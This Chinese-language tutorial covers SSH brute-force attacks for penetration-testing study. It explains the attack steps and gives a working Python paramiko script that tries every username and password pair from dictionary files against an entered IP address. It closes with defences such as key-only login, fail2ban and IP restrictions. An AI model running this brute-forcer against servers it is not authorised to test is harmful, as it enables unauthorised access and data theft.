什么是 SSH
SSH(Secure Shell)是一种加密的网络协议,用于在不安全的网络环境中进行安全的远程连接和数据传输。SSH 爆破是一种常见的网络攻击手段,它试图通过暴力破解的方式获取远程 SSH 服务器的登录凭证。
目录:
Python 编写渗透测试基础:
(1)漏洞发现和利用走的是什么协议.
(2)编写难度是根据协议和探针利用复现复杂程度决定的.
例如:
mysql类型的漏洞复现漏洞
大部分都是在mysql里面进行python写这个漏洞利用
是不是也要用到mysql的库来进行连接 后续操作 复现一致
SSH 爆破的原理主要包括以下几个步骤:
(1)收集目标信息
确定目标 SSH 服务器的 IP 地址和端口号。
获取可能的用户名列表,如默认用户名、常见用户名等。
(2)生成密码字典
根据密码复杂度要求,生成包含各种字符组合的密码列表。
字典可以包括常见密码、泄露密码、暴力组合等。
(3)尝试登录
使用自动化工具,如 Hydra、Metasploit 等,对目标 SSH 服务器进行登录尝试。
工具会逐一尝试字典中的用户名和密码组合,直到找到有效的登录凭证。
(4)获取 Shell 访问
如果成功爆破,就可以获取目标 SSH 服务器的 Shell 访问权限。
从而可以进一步窃取数据、植入后门等恶意操作。
SSH 加密通道 传输文件 爆破:
前提条件:目标服务器开启了 22 端口.
(1)基础知识(尝试连接):
# 导入模块
import paramiko
#获取SSH客户端对象
ssh = paramiko.SSHClient()
# 允许连接不在know_hosts文件中的主机
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
#使用用户名和密码远程连接
ssh.connect("172.16.10.19","22","root","root")
#ssh.connect("IP地址","22","账号","密码")
(2)进行 SSH 传输文件 爆破:
# 导入模块
import paramiko,os
def ssh_check(ip,username,password): # 检测
print('check->' + ip + '|' + username + '|' + password) # 打印 爆破的过程信息.
#获取SSH客户端对象(因为SSH是一个客户端和服务端,所以我们要获取SSH客户端)
ssh = paramiko.SSHClient()
# 允许连接不在know_hosts文件中的主机
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try: # 做容错(就是如果正确则进行下面的)
#使用用户名和密码远程连接
ssh.connect(ip,"22",username,password) #("IP地址","22","账号","密码")
print('爆破成功')
exit() # 成功之后退出.
except Exception as e: # 如果连接失败
print('爆破失败')
if __name__ == '__main__':
pypath = os.getcwd() #当前工作目录
ip = input('请输入要爆破 IP 地址:')
#注意修改自己字典的存放目录
for username in open(pypath + '//dic_username_ssh.txt'): # 读取当前目录这个文件
username = username.replace('\n', '') # 对于每一行,它会去掉行末的换行符 "\n",并将其替换为空格 ""(里面不要加空格)
for password in open(pypath + '//dic_password_ssh.txt'): # 读取当前目录这个文件
password = password.replace('\n', '') # (里面不要加空格)
ssh_check(ip,username,password) # 传递了三个参数,上面对接.
防护 SSH 服务器免受暴力破解攻击:
(1)使用强密码或密钥认证
避免使用简单、常见的密码。建议使用至少 12 个字符的复杂密码,包含大小写字母、数字和特殊字符。
启用公钥/私钥认证机制,摆脱对密码的依赖。这种方式更安全可靠。
(2)限制登录尝试次数
在 SSH 服务配置中设置最大登录尝试次数,超过限制后自动锁定账户。
可以使用 fail2ban 等工具来自动检测和封禁暴力破解尝试。
(3)限制 SSH 登录 IP 地址
只允许特定 IP 地址或 IP 段访问 SSH 服务。
可以结合防火墙规则来实现这一功能。
(4)禁用密码登录
完全禁用密码登录,改为仅支持公钥认证。
这样即使密码被破解,也无法登录 SSH 服务器。
(5)更改默认 SSH 端口
不要使用默认的 22 端口,改用其他端口号。
这样可以隐藏 SSH 服务,降低被发现和攻击的风险。
(6)启用 SSH 日志审计
仔细监控 SSH 登录日志,及时发现异常情况。
可以结合 SIEM 系统进行日志分析和报警。
(7)定期更新 SSH 服务
保持 SSH 服务软件的最新版本,及时修复安全漏洞。
这样可以降低被利用的风险。
学习链接:第159天:安全开发-Python-协议库爆破&FTP&SSH&Redis&SMTP&MYSQL等_哔哩哔哩_bilibili